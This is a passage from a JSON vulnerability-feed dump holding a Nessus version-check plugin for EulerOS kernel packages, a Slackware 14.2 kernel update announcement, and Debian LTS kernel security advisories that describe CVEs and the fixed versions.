code.(CVE-2019-14895)\n\n - In the Linux kernel, a certain net/ipv4/tcp_output.c\n change, which was properly incorporated into 4.16.12,\n was incorrectly backported to the earlier longterm\n kernels, introducing a new vulnerability that was\n potentially more severe than the issue that was\n intended to be fixed by backporting. Specifically, by\n adding to a write queue between disconnection and\n re-connection, a local attacker can trigger multiple\n use-after-free conditions. This can result in a kernel\n crash, or potentially in privilege\n escalation.(CVE-2019-15239)\n\n - The Linux kernel 4.x (starting from 4.1) and 5.x before\n 5.0.8 allows Information Exposure (partial kernel\n address disclosure), leading to a KASLR bypass.\n Specifically, it is possible to extract the KASLR\n kernel image offset using the IP ID values the kernel\n produces for connection-less protocols (e.g., UDP and\n ICMP). When such traffic is sent to multiple\n destination IP addresses, it is possible to obtain hash\n collisions (of indices to the counter array) and\n thereby obtain the hashing key (via enumeration). This\n key contains enough bits from a kernel address (of a\n static variable) so when the key is extracted (via\n enumeration), the offset of the kernel image is\n exposed. This attack can be carried out remotely, by\n the attacker forcing the target device to send UDP or\n ICMP (or certain other) traffic to attacker-controlled\n IP addresses. Forcing a server to send UDP traffic is\n trivial if the server is a DNS server. ICMP traffic is\n trivial if the server answers ICMP Echo requests\n (ping). For client targets, if the target visits the\n attacker's web page, then WebRTC or gQUIC can be used\n to force UDP traffic to attacker-controlled IP\n addresses. NOTE: this attack against KASLR became\n viable in 4.1 because IP ID generation was changed to\n have a dependency on an address associated with a\n network namespace.(CVE-2019-10639)\n\n - The coredump implementation in the Linux kernel before\n 5.0.10 does not use locking or other mechanisms to\n prevent vma layout or vma flags changes while it runs,\n which allows local users to obtain sensitive\n information, cause a denial of service, or possibly\n have unspecified other impact by triggering a race\n condition with mmget_not_zero or get_task_mm calls.\n This is related to fs/userfaultfd.c, mm/mmap.c,\n fs/proc/task_mmu.c, and\n drivers/infiniband/core/uverbs_main.c.(CVE-2019-11599)\n\n - A memory leak in the adis_update_scan_mode() function\n in drivers/iio/imu/adis_buffer.c in the Linux kernel\n before 5.3.9 allows attackers to cause a denial of\n service (memory consumption), aka\n CID-ab612b1daf41.(CVE-2019-19060)\n\n - An issue was discovered in the Linux kernel before\n 4.20.2. An out-of-bounds access exists in the function\n build_audio_procunit in the file\n sound/usb/mixer.c.(CVE-2019-15927)\n\n - An issue was discovered in net/wireless/nl80211.c in\n the Linux kernel through 5.2.17. It does not check the\n length of variable elements in a beacon head, leading\n to a buffer overflow.(CVE-2019-16746)\n\n - The Siemens R3964 line discipline driver in\n drivers/tty/n_r3964.c in the Linux kernel before 5.0.8\n has multiple race conditions.(CVE-2019-11486)\n\n - Insufficient access control in the Intel(R)\n PROSet/Wireless WiFi Software driver before version\n 21.10 may allow an unauthenticated user to potentially\n enable denial of service via adjacent\n access.(CVE-2019-0136)\n\n - The Linux kernel through 5.3.13 has a start_offset+size\n Integer Overflow in cpia2_remap_buffer in\n drivers/media/usb/cpia2/cpia2_core.c because cpia2 has\n its own mmap implementation. This allows local users\n (with /dev/video0 access) to obtain read and write\n permissions on kernel physical pages, which can\n possibly result in a privilege\n escalation(CVE-2019-18675)\n\n - ** RESERVED ** This candidate has been reserved by an\n organization or individual that will use it when\n announcing a new security problem. When the candidate\n has been publicized, the details for this candidate\n will be provided.(CVE-2019-14815)\n\n - The Bluetooth BR/EDR specification up to and including\n version 5.1 permits sufficiently low encryption key\n length and does not prevent an attacker from\n influencing the key length negotiation. This allows\n practical brute-force attacks (aka 'KNOB') that can\n decrypt traffic and inject arbitrary ciphertext without\n the victim noticing.(CVE-2019-9506)\n\n - A memory leak in the ath9k_wmi_cmd() function in\n drivers/net/wireless/ath/ath9k/wmi.c in the Linux\n kernel through 5.3.11 allows attackers to cause a\n denial of service (memory consumption), aka\n CID-728c1e2a05e4.(CVE-2019-19074)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2021-1056\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?60a1ca93\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/01/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/01/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.2.6\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.2.6\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.2.6\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-3.10.0-862.14.1.6_81\",\n \"kernel-devel-3.10.0-862.14.1.6_81\",\n \"kernel-headers-3.10.0-862.14.1.6_81\",\n \"kernel-tools-3.10.0-862.14.1.6_81\",\n \"kernel-tools-libs-3.10.0-862.14.1.6_81\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 10, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "slackware": [{"lastseen": "2021-07-28T14:46:41", "description": "New kernel packages are available for Slackware 14.2 to fix security issues.\n\n\nHere are the details from the Slackware 14.2 ChangeLog:\n\npatches/packages/linux-4.4.217/*: Upgraded.\n These updates fix various bugs and security issues.\n Be sure to upgrade your initrd after upgrading the kernel packages.\n If you use lilo to boot your machine, be sure lilo.conf points to the correct\n kernel and initrd and run lilo as root to update the bootloader.\n If you use elilo to boot your machine, you should run eliloconfig to copy the\n kernel and initrd to the EFI System Partition.\n For more information, see:\n Fixed in 4.4.209:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19965\n Fixed in 4.4.210:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19068\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14615\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14895\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19056\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19066\n Fixed in 4.4.211:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15217\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-21008\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15220\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15221\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5108\n Fixed in 4.4.212:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14896\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14897\n Fixed in 4.4.215:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9383\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-2732\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16233\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0009\n Fixed in 4.4.216:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11487\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8647\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8649\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16234\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8648\n Fixed in 4.4.217:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14901\n (* Security fix *)\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated packages for Slackware 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-generic-4.4.217-i586-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-generic-smp-4.4.217_smp-i686-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-headers-4.4.217_smp-x86-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-huge-4.4.217-i586-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-huge-smp-4.4.217_smp-i686-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-modules-4.4.217-i586-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-modules-smp-4.4.217_smp-i686-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/linux-4.4.217/kernel-source-4.4.217_smp-noarch-1.txz\n\nUpdated packages for Slackware x86_64 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/linux-4.4.217/kernel-generic-4.4.217-x86_64-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/linux-4.4.217/kernel-headers-4.4.217-x86-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/linux-4.4.217/kernel-huge-4.4.217-x86_64-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/linux-4.4.217/kernel-modules-4.4.217-x86_64-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/linux-4.4.217/kernel-source-4.4.217-noarch-1.txz\n\n\nMD5 signatures:\n\nSlackware 14.2 packages:\na583999ff4d5aaf717389329af0bfebf kernel-generic-4.4.217-i586-1.txz\naa41f8b6cb7ca06779e11a803fd06881 kernel-generic-smp-4.4.217_smp-i686-1.txz\nec98d6aa32743124ed317edfd9b5751d kernel-headers-4.4.217_smp-x86-1.txz\n426ffbbd44d3ab47779518713079cbc2 kernel-huge-4.4.217-i586-1.txz\nf0b0c550771cdb9904e8a81e18e1c3a5 kernel-huge-smp-4.4.217_smp-i686-1.txz\n17580fde3d753faec92c69d9b1b296b3 kernel-modules-4.4.217-i586-1.txz\n35b06ec07cbc246f7e439c6ffc8b8146 kernel-modules-smp-4.4.217_smp-i686-1.txz\naa3b2bdf35fa4c2202a03910d2c53d8d kernel-source-4.4.217_smp-noarch-1.txz\n\nSlackware x86_64 14.2 packages:\nef37a3afd3ad459a0714624b32f670a2 kernel-generic-4.4.217-x86_64-1.txz\nde239ba97ad7fd3d3487038bc8bf10a5 kernel-headers-4.4.217-x86-1.txz\n2ad3dca1aeff8429de2c03bd28afdd7d kernel-huge-4.4.217-x86_64-1.txz\nea75c40c4a486b3f25de482cae24e87c kernel-modules-4.4.217-x86_64-1.txz\n933366ccd2ba028a03bed87cbeea3ac5 kernel-source-4.4.217-noarch-1.txz\n\n\nInstallation instructions:\n\nUpgrade the packages as root:\n > upgradepkg kernel-*.txz\n\nIf you are using an initrd, you'll need to rebuild it.\n\nFor a 32-bit SMP machine, use this command (substitute the appropriate\nkernel version if you are not running Slackware 14.2):\n > /usr/share/mkinitrd/mkinitrd_command_generator.sh -k 4.4.217-smp | bash\n\nFor a 64-bit machine, or a 32-bit uniprocessor machine, use this command\n(substitute the appropriate kernel version if you are not running\nSlackware 14.2):\n > /usr/share/mkinitrd/mkinitrd_command_generator.sh -k 4.4.217 | bash\n\nPlease note that \"uniprocessor\" has to do with the kernel you are running,\nnot with the CPU. Most systems should run the SMP kernel (if they can)\nregardless of the number of cores the CPU has. If you aren't sure which\nkernel you are running, run \"uname -a\". If you see SMP there, you are\nrunning the SMP kernel and should use the 4.4.217-smp version when running\nmkinitrd_command_generator. Note that this is only for 32-bit -- 64-bit\nsystems should always use 4.4.217 as the version.\n\nIf you are using lilo or elilo to boot the machine, you'll need to ensure\nthat the machine is properly prepared before rebooting.\n\nIf using LILO:\nBy default, lilo.conf contains an image= line that references a symlink\nthat always points to the correct kernel. No editing should be required\nunless your machine uses a custom lilo.conf. If that is the case, be sure\nthat the image= line references the correct kernel file. Either way,\nyou'll need to run \"lilo\" as root to reinstall the boot loader.\n\nIf using elilo:\nEnsure that the /boot/vmlinuz symlink is pointing to the kernel you wish\nto use, and then run eliloconfig to update the EFI System Partition.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-26T23:13:28", "type": "slackware", "title": "[slackware-security] Slackware 14.2 kernel", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-21008", "CVE-2019-11487", "CVE-2019-14615", "CVE-2019-14895", "CVE-2019-14896", "CVE-2019-14897", "CVE-2019-14901", "CVE-2019-15217", "CVE-2019-15220", "CVE-2019-15221", "CVE-2019-16233", "CVE-2019-16234", "CVE-2019-19056", "CVE-2019-19066", "CVE-2019-19068", "CVE-2019-19965", "CVE-2019-5108", "CVE-2020-0009", "CVE-2020-2732", "CVE-2020-8647", "CVE-2020-8648", "CVE-2020-8649", "CVE-2020-9383"], "modified": "2020-03-26T23:13:28", "id": "SSA-2020-086-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2020&m=slackware-security.760705", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2021-08-25T10:27:15", "description": "Package : linux\nVersion : 3.16.84-1\nCVE ID : CVE-2015-8839 CVE-2018-14610 CVE-2018-14611 CVE-2018-14612\n CVE-2018-14613 CVE-2019-5108 CVE-2019-19319 CVE-2019-19447\n CVE-2019-19768 CVE-2019-20636 CVE-2020-0009 CVE-2020-0543\n CVE-2020-1749 CVE-2020-2732 CVE-2020-8647 CVE-2020-8648\n CVE-2020-8649 CVE-2020-9383 CVE-2020-10690 CVE-2020-10751\n CVE-2020-10942 CVE-2020-11494 CVE-2020-11565 CVE-2020-11608\n CVE-2020-11609 CVE-2020-11668 CVE-2020-12114 CVE-2020-12464\n CVE-2020-12652 CVE-2020-12653 CVE-2020-12654 CVE-2020-12769\n CVE-2020-12770 CVE-2020-12826 CVE-2020-13143\n\nThis update is now available for all supported architectures. For\nreference the original advisory text follows.\n\nSeveral vulnerabilities have been discovered in the Linux kernel that\nmay lead to a privilege escalation, denial of service or information\nleaks.\n\nCVE-2015-8839\n\n A race condition was found in the ext4 filesystem implementation.\n A local user could exploit this to cause a denial of service\n (filesystem corruption).\n\nCVE-2018-14610, CVE-2018-14611, CVE-2018-14612, CVE-2018-14613\n\n Wen Xu from SSLab at Gatech reported that crafted Btrfs volumes\n could trigger a crash (Oops) and/or out-of-bounds memory access.\n An attacker able to mount such a volume could use this to cause a\n denial of service or possibly for privilege escalation.\n\nCVE-2019-5108\n\n Mitchell Frank of Cisco discovered that when the IEEE 802.11\n (WiFi) stack was used in AP mode with roaming, it would trigger\n roaming for a newly associated station before the station was\n authenticated. An attacker within range of the AP could use this\n to cause a denial of service, either by filling up a switching\n table or by redirecting traffic away from other stations.\n\nCVE-2019-19319\n\n Jungyeon discovered that a crafted filesystem can cause the ext4\n implementation to deallocate or reallocate journal blocks. A user\n permitted to mount filesystems could use this to cause a denial of\n service (crash), or possibly for privilege escalation.\n\nCVE-2019-19447\n\n It was discovered that the ext4 filesystem driver did not safely\n handle unlinking of an inode that, due to filesystem corruption,\n already has a link count of 0. An attacker able to mount\n arbitrary ext4 volumes could use this to cause a denial of service\n (memory corruption or crash) or possibly for privilege escalation.\n\nCVE-2019-19768\n\n Tristan Madani reported a race condition in the blktrace debug\n facility that could result in a use-after-free. A local user able\n to trigger removal of block devices could possibly use this to\n cause a denial of service (crash) or for privilege escalation.\n\nCVE-2019-20636\n\n The syzbot tool found that the input subsystem did not fully\n validate keycode changes, which could result in a heap\n out-of-bounds write. A local user permitted to access the device\n node for an input or VT device could possibly use this to cause a\n denial of service (crash or memory corruption) or for privilege\n escalation.\n\nCVE-2020-0009\n\n Jann Horn reported that the Android ashmem driver did not prevent\n read-only files from being memory-mapped and then remapped as\n read-write. However, Android drivers are not enabled in Debian\n kernel configurations.\n\nCVE-2020-0543\n\n Researchers at VU Amsterdam discovered that on some Intel CPUs\n supporting the RDRAND and RDSEED instructions, part of a random\n value generated by these instructions may be used in a later\n speculative execution on any core of the same physical CPU.\n Depending on how these instructions are used by applications, a\n local user or VM guest could use this to obtain sensitive\n information such as cryptographic keys from other users or VMs.\n\n This vulnerability can be mitigated by a microcode update, either\n as part of system firmware (BIOS) or through the intel-microcode\n package in Debian's non-free archive section. This kernel update\n only provides reporting of the vulnerability and the option to\n disable the mitigation if it is not needed.\n\nCVE-2020-1749\n\n Xiumei Mu reported that some network protocols that can run on top\n of IPv6 would bypass the Transformation (XFRM) layer used by\n IPsec, IPcomp/IPcomp6, IPIP, and IPv6 Mobility. This could result\n in disclosure of information over the network, since it would not\n be encrypted or routed according to the system policy.\n\nCVE-2020-2732\n\n Paulo Bonzini discovered that the KVM implementation for Intel\n processors did not properly handle instruction emulation for L2\n guests when nested virtualization is enabled. This could allow an\n L2 guest to cause privilege escalation, denial of service, or\n information leaks in the L1 guest.\n\nCVE-2020-8647, CVE-2020-8649\n\n The Hulk Robot tool found a potential MMIO out-of-bounds access in\n the vgacon driver. A local user permitted to access a virtual\n terminal (/dev/tty1 etc.) on a system using the vgacon driver\n could use this to cause a denial of service (crash or memory\n corruption) or possibly for privilege escalation.\n\nCVE-2020-8648\n\n The syzbot tool found a race condition in the the virtual terminal\n driver, which could result in a use-after-free. A local user\n permitted to access a virtual terminal could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n\nCVE-2020-9383\n\n Jordy Zomer reported an incorrect range check in the floppy driver\n which could lead to a static out-of-bounds access. A local user\n permitted to access a floppy drive could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n\nCVE-2020-10690\n\n It was discovered that the PTP hardware clock subsystem did not\n properly manage device lifetimes. Removing a PTP hardware clock\n from the system while a user process was using it could lead to a\n use-after-free. The security impact of this is unclear.\n\nCVE-2020-10751\n\n Dmitry Vyukov reported that the SELinux subsystem did not properly\n handle validating multiple messages, which could allow a privileged\n attacker to bypass SELinux netlink restrictions.\n\nCVE-2020-10942\n\n It was discovered that the vhost_net driver did not properly\n validate the type of sockets set as back-ends. A local user\n permitted to access /dev/vhost-net could use this to cause a stack\n corruption via crafted system calls, resulting in denial of\n service (crash) or possibly privilege escalation.\n\nCVE-2020-11494\n\n It was discovered that the slcan (serial line CAN) network driver\n did not fully initialise CAN headers for received packets,\n resulting in an information leak from the kernel to user-space or\n over the CAN network.\n\nCVE-2020-11565\n\n Entropy Moe reported that the shared memory filesystem (tmpfs) did\n not correctly handle an "mpol" mount option specifying an empty\n node list, leading to a stack-based out-of-bounds write. If user\n namespaces are enabled, a local user could use this to cause a\n denial of service (crash) or possibly for privilege escalation.\n\nCVE-2020-11608, CVE-2020-11609, CVE-2020-11668\n\n It was discovered that the ov519, stv06xx, and xirlink_cit media\n drivers did not properly validate USB device descriptors. A\n physically present user with a specially constructed USB device\n could use this to cause a denial-of-service (crash) or possibly\n for privilege escalation.\n\nCVE-2020-12114\n\n Piotr Krysiuk discovered a race condition between the umount and\n pivot_root operations in the filesystem core (vfs). A local user\n with the CAP_SYS_ADMIN capability in any user namespace could use\n this to cause a denial of service (crash).\n\nCVE-2020-12464\n\n Kyungtae Kim reported a race condition in the USB core that can\n result in a use-after-free. It is not clear how this can be\n exploited, but it could result in a denial of service (crash or\n memory corruption) or privilege escalation.\n\nCVE-2020-12652\n\n Tom Hatskevich reported a bug in the mptfusion storage drivers.\n An ioctl handler fetched a parameter from user memory twice,\n creating a race condition which could result in incorrect locking\n of internal data structures. A local user permitted to access\n /dev/mptctl could use this to cause a denial of service (crash or\n memory corruption) or for privilege escalation.\n\nCVE-2020-12653\n\n It was discovered that the mwifiex WiFi driver did not\n sufficiently validate scan requests, resulting a potential heap\n buffer overflow. A local user with CAP_NET_ADMIN capability could\n use this to cause a denial of service (crash or memory corruption)\n or possibly for privilege escalation.\n\nCVE-2020-12654\n\n It was discovered that the mwifiex WiFi driver did not\n sufficiently validate WMM parameters received from an access point\n (AP), resulting a potential heap buffer overflow. A malicious AP\n could use this to cause a denial of service (crash or memory\n corruption) or possibly to execute code on a vulnerable system.\n\nCVE-2020-12769\n\n It was discovered that the spi-dw SPI host driver did not properly\n serialise access to its internal state. The security impact of\n this is unclear, and this driver is not included in Debian's\n binary packages.\n\nCVE-2020-12770\n\n It was discovered that the sg (SCSI generic) driver did not\n correctly release internal resources in a particular error case.\n A local user permitted to access an sg device could possibly use\n this to cause a denial of service (resource exhaustion).\n\nCVE-2020-12826\n\n Adam Zabrocki reported a weakness in the signal subsystem's\n permission checks. A parent process can choose an arbitary signal\n for a child process to send when it exits, but if the parent has\n executed a new program then the default SIGCHLD signal is sent. A\n local user permitted to run a program for several days could\n bypass this check, execute a setuid program, and then send an\n arbitrary signal to it. Depending on the setuid programs\n installed, this could have some security impact.\n\nCVE-2020-13143\n\n Kyungtae Kim reported a potential heap out-of-bounds write in\n the USB gadget subsystem. A local user permitted to write to\n the gadget configuration filesystem could use this to cause a\n denial of service (crash or memory corruption) or potentially\n for privilege escalation.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.16.84-1.\n\nWe recommend that you upgrade your linux packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n\n-- \nBen Hutchings - Debian developer, member of kernel, installer and LTS teams\n", "cvss3": {"exploitabilityScore": 0.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 6.7, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-10T10:55:44", "type": "debian", "title": "[SECURITY] [DLA 2241-2] linux security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11494", "CVE-2019-5108", "CVE-2020-8648", "CVE-2020-12770", "CVE-2020-9383", "CVE-2018-14610", "CVE-2015-8839", "CVE-2020-12114", "CVE-2020-12769", "CVE-2020-12826", "CVE-2020-10942", "CVE-2020-11609", "CVE-2019-20636", "CVE-2019-19768", "CVE-2020-0543", "CVE-2020-12464", "CVE-2020-10690", "CVE-2020-0009", "CVE-2020-12654", "CVE-2019-19319", "CVE-2020-12653", "CVE-2020-1749", "CVE-2020-11608", "CVE-2020-11668", "CVE-2020-10751", "CVE-2020-13143", "CVE-2020-11565", "CVE-2018-14612", "CVE-2020-8649", "CVE-2020-12652", "CVE-2019-19447", "CVE-2018-14611", "CVE-2020-8647", "CVE-2020-2732", "CVE-2018-14613"], "modified": "2020-06-10T10:55:44", "id": "DEBIAN:DLA-2241-2:3E557", "href": "https://lists.debian.org/debian-lts-announce/2020/debian-lts-announce-202006/msg00013.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-22T11:23:16", "description": "Package : linux\nVersion : 3.16.84-1\nCVE ID : CVE-2015-8839 CVE-2018-14610 CVE-2018-14611 CVE-2018-14612\n CVE-2018-14613 CVE-2019-5108 CVE-2019-19319 CVE-2019-19447\n CVE-2019-19768 CVE-2019-20636 CVE-2020-0009 CVE-2020-0543\n CVE-2020-1749 CVE-2020-2732 CVE-2020-8647 CVE-2020-8648\n CVE-2020-8649 CVE-2020-9383 CVE-2020-10690 CVE-2020-10751\n CVE-2020-10942 CVE-2020-11494 CVE-2020-11565 CVE-2020-11608\n CVE-2020-11609 CVE-2020-11668 CVE-2020-12114 CVE-2020-12464\n CVE-2020-12652 CVE-2020-12653 CVE-2020-12654 CVE-2020-12769\n CVE-2020-12770 CVE-2020-12826 CVE-2020-13143\n\nSeveral vulnerabilities have been discovered in the Linux kernel that\nmay lead to a privilege escalation, denial of service or information\nleaks.\n\nCVE-2015-8839\n\n A race condition was found in the ext4 filesystem implementation.\n A local user could exploit this to cause a denial of service\n (filesystem corruption).\n\nCVE-2018-14610, CVE-2018-14611, CVE-2018-14612, CVE-2018-14613\n\n Wen Xu from SSLab at Gatech reported that crafted Btrfs volumes\n could trigger a crash (Oops) and/or out-of-bounds memory access.\n An attacker able to mount such a volume could use this to cause a\n denial of service or possibly for privilege escalation.\n\nCVE-2019-5108\n\n Mitchell Frank of Cisco discovered that when the IEEE 802.11\n (WiFi) stack was used in AP mode with roaming, it would trigger\n roaming for a newly associated station before the station was\n authenticated. An attacker within range of the AP could use this\n to cause a denial of service, either by filling up a switching\n table or by redirecting traffic away from other stations.\n\nCVE-2019-19319\n\n Jungyeon discovered that a crafted filesystem can cause the ext4\n implementation to deallocate or reallocate journal blocks. A user\n permitted to mount filesystems could use this to cause a denial of\n service (crash), or possibly for privilege escalation.\n\nCVE-2019-19447\n\n It was discovered that the ext4 filesystem driver did not safely\n handle unlinking of an inode that, due to filesystem corruption,\n already has a link count of 0. An attacker able to mount\n arbitrary ext4 volumes could use this to cause a denial of service\n (memory corruption or crash) or possibly for privilege 